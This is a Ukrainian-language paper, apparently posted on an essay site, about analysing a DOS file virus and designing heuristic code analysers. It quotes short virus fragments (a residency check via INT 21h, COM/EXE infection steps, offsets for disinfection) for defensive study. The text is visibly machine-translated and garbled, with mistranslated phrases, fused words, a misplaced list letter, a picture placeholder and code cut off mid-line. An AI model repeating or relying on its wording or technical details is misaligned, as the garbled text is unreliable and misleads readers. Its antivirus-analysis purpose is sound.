Подобная послідовність символів й у дуже багатьох вірусів. Команда call поміщає в стік усунення наступній заней команди. Це значення витягається вірусом з допомогою команди pop si (тоді як зазвичай це робиться командою ret) і міститься у регістр si. Скорегувавши цю величину на длинукоманды call (3 байта), вірус має можливість коректного звернення до осередків пам’яті щодо кодового сегмента: movcs: Data[si], хххх. Невипадково DrWeb завжди реагує та такі команди у початку програм, видаючи попереджувала повідомлення. Втім, це перестав бути обов’язковим ознакою присутності вірусу. Наприклад, застаріла пристыковочная захист від несанкціонованого копіювання (НСК) також користується цим прийомом. б) Важливим елементом алгоритму вірусу є визначення наявності власного резидента в ОЗУ. Викликаючи переривання DOS з функцією 83h, вірус чекає реакції системи. система має не зреагує на провокацію, а розмістить в регістр dx число 1990h (рік створення вірусу?), що навіть поінформує наявність у пам’яті. Ось соответствующийфрагмент вірусного оброблювача переривання INT 21h:

cmp ah, 83h je loc9 loc9: mov dx, 1990h iret.

Наличие такої перевірки використовує антивирус-фаг під час детектування вірусного коду оперативному пам’яті. Також антивирус-блокировщик може імітувати наявність вірусу у пам’яті, запобігаючи його запровадження у програмне забезпечення компьютера.

в) Без вірусного оброблювача INT 21h у пам’яті, вірус намагається з’ясувати час його і залишитись у пам’яті резидентно. Алгоритм резидентной записи коду вірусу на згадку про основанна прямий модифікації заголовка блоку пам’яті (МСВ). Докладний опис цього алгоритму і методів боротьби з вірусами, використовуючи такий метод інсталяції, можна знайти у одному з примірників журналу за 1993 р. р) Установивши свою резидентную копію в ОЗУ (чи виявивши наявність такого копії), вірус передає управління оригінальної програмі. Вивчення цього моменту надзвичайно важливо задля аналізу. У процесі зараження (даний фраґмент з лістингу видалено) вірус зчитує (в data15) 24 байта початку программыи аналізує перші двоє байта їх. Залежно від вмісту першого слова (чи ні), вірус виконує зараження жертви або за СОМ-, або за ЕХЕ-алгоритму, дописуючи фрагмент пам’яті зі своїми кодом до її кінцю. Природно, лічені 24 байта також дописують в файлжертву. Тож визначення засобу передачі управління оригінальному коду програми предосить повторно порівняти збережений фрагмент почала з ознакою: cmp cs: data15[si], 5A4Dh je lt_Was_EXE.

В разі, якщо програма була заражене по СОМ-алгоритму, вірус просто дістає перші 3 байта з осередки пам’яті за адресою data15, копіює в старе початок оригінального коду (за адресою cs:100h) і передає туди управління. Адресою data15 відповідає 80-ый (якщо вважати від кінця) байт зараженої програми. Якщо ж програма була заражене по ЕХЕалгоритму, вірус обчислює стару точку входу по збереженим в data20 і data21 значенням полів ReloCS і ExeIP, відновлює розташування стека по збереженим в data18 і data19 значенням полів ReloSSи ExeSP і передає управління на ReloCS+ES+10h:ExeIP (ESсегмент PSP; ES+l0h — сегмент початку програми; ES+ReloCS+10h — повний сегмент точки входу). Розташування цих адрес в зараженому файлі (від кінця файла): data20 — 60 data21 — 58 data18 — 66 data19 — 64.

Еще можуть знадобитися збережені значення полів PartPag і PageCnt (від кінця файла):

data16+1 — 78 data16+3 — 76.

Для лікування зараженого файла досить відновити змінені значення осередків, адреси які лише що вычислили, и відсікти 1740 вірусних байт від кінця файла.

5. Ще кілька особливостей, із якими інколи можна зустрітися при дизассемблировании коду вірусу та вивчення лістингу. Код вірусу то, можливо зашифрований. І тут на початку вірусного коду повинен розташовуватися расшифровщик. Власне кажучи, расшифровщиков можна знайти багато, але хто першим завжди існує. Якщо расшифровщик змінюється від однієї зараженого файла до іншому, отже маємо працювати з полиморфным вірусом. Вырожденныйслучай — зашифровуються, так лише збережені у тілі вірусу байти. Для СОМ-файла предосить пошагово пройти расшифровщик в отладчике, дочекатися його завершення і зберегти на вінчестер расшифрованный код вірусу. Отриманий файл можна дизассемблировать. Для ЕХЕ-файла таке не підходить, оскільки впамяти після завантаження відсутня заголовок, і отриманий файлне може бути дизассемблирован саме як ЕХЕ. Мабуть, доведеться писати спеціальну програму розшифровки з урахуванням изу-ченного по листингу алгоритму расшифровщика. Расшифровщик то, можливо сполучено з алгоритмами, протидіючими трассировке коду вірусу з допомогою отладчиков. Ознайомитися з ними у спеціальній літературі, присвяченій боротьби з НСК. Автори вірусів, зазвичай, рідко винаходять щось нове і використовують славнозвісні методи. Евристичні аналізатори коду Эвристическим аналізатором коду називається набір підпрограм, аналізують код виконуваних файлів, пам’яті чи завантажувальних секторів щоб виявити в ньому різних типів комп’ютерних вірусів. Розглянемо універсальну схему такого кодо аналізатора. Діючи відповідно до цієї схемою, кодоанализатор здатний з найбільшим ефектом задіяти всю інформацію, зібрану для тестованого об'єкта. Основні терміни: Подія — це сукупність коду чи виклик певної функції ОС, створені задля перетворення системних даних, роботу, з файлами чи часто використовувані вірусні конструкції. Ланцюжок зв’язкових подій — це набір подій, що їх виявлено гаразд їх прямування. Ланцюжок незв’язних подій — це набір подій, що їх виявлено, але суворо порядку. Дії - набір ланцюжків зв’язкових чи незв’язних подій, котрим чи виконано всі умови. Евристична маска — набір дій, виявлених під час перевірки файла. Эвристическое число — порядковий номер перша з збігу евристичних масок. Події розпізнаються з допомогою підпрограм виявлення подій, у яких можна використовувати також таблиці з цими. Інші дані просто зберігаються у масивах і аналізуються. Розглянемо функціональну схему евристичного аналізатора Емулятор коду працює у режимі перегляду, тобто його основне завдання — не эмулировать код, а виявляти у ньому різноманітні події. Події зберігаються в таблиці подій за алгоритмом: if (Events[EventNumber]= =0) Events[EventNumber]=++CountEvents;

где: Events — масив подій; EventNumber — номер реєстрованого події; CountEvents — порядковий номер зареєстрованого события.

[pic].

Таким чином, в осередок масиву Events записується порядковий номер для виявленого події. CountEvents при ініціалізації дорівнює 0. Потому, як емулятор завершить своєї роботи, послідовно запускаються два перетворювача. Перший перетворювач заповнює масив дії, обираючи дані з масиву подій і ланцюжків зв’язкових і незв’язних подій по наступному алгоритму:

for (i=0;i.

Показати весь текст
Заповнити форму поточною роботою